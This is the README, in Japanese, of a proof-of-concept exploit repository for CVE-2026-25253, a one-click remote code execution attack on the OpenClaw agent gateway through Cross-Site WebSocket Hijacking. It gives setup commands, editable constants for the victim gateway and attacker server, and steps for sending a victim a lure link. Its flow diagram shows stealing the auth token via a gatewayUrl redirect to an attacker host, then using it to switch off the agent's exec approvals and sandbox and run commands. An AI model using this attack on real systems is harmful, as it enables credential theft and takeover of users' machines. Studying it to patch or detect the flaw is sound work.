
Cross-Site WebSocket Hijacking による OpenClaw へのワンクリック RCE。
免責事項: このコードは、許可されたセキュリティ研究および教育目的のみで提供されています。明示的な書面による許可なくシステムに対してこのコードを使用することは違法かつ非倫理的です。作者は誤用に対して一切の責任を負いません。
この脆弱性のソースコードレベルの分析と、この PoC がどのように構築されたかについては、詳細な分析をお読みください。
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
https://nodejs.org/ からインストーラーをダウンロードし、指示に従ってください。
インストールの確認:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
これにより、唯一の依存関係である ws (WebSocket ライブラリ) がインストールされます。
exploit.html の先頭を編集して、ご自身の環境に合わせてください:
const LOCAL_SCHEME = 'http'; // 被害者の Control UI のスキーム
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // 被害者のローカルゲートウェイ
const ATTACKER_WS_PORT = 8080; // 攻撃者の WS ポート (attacker-server.js と一致させる必要があります)
const ATTACKER_SCHEME = 'ws'; // TLS の背後にある場合は 'wss' を使用
const COMMAND = 'touch /tmp/success'; // 被害者ホスト上で実行するコマンド
別のポートが必要な場合は、attacker-server.js の先頭を編集してください:
const HTTP_PORT = 3000; // exploit.html を配信
const WS_PORT = 8080; // 盗まれたトークンを取得
node attacker-server.js
次のように表示されるはずです:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
被害者に次の URL を送信します (<ATTACKER_IP> を自分の IP に置き換えてください):
http://<ATTACKER_IP>:3000/exploit.html
被害者は、以前に OpenClaw Control UI を使用したことのあるブラウザでこのリンクを開く必要があります (認証トークンが localStorage に存在するため)。
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
被害者マシン上で、コマンドが実行されたかどうかを確認します:
ls -la /tmp/success
| ファイル | 説明 |
|---|---|
attacker-server.js | HTTP サーバー (エクスプロイトページを配信) + WebSocket サーバー (盗まれたトークンを取得) |
exploit.html | ブラウザベースのエクスプロイトペイロード。トークンを盗み、WebSocket をハイジャックし、セキュリティを無効化し、コマンドを実行します |
package.json | Node.js の依存関係 (ws) |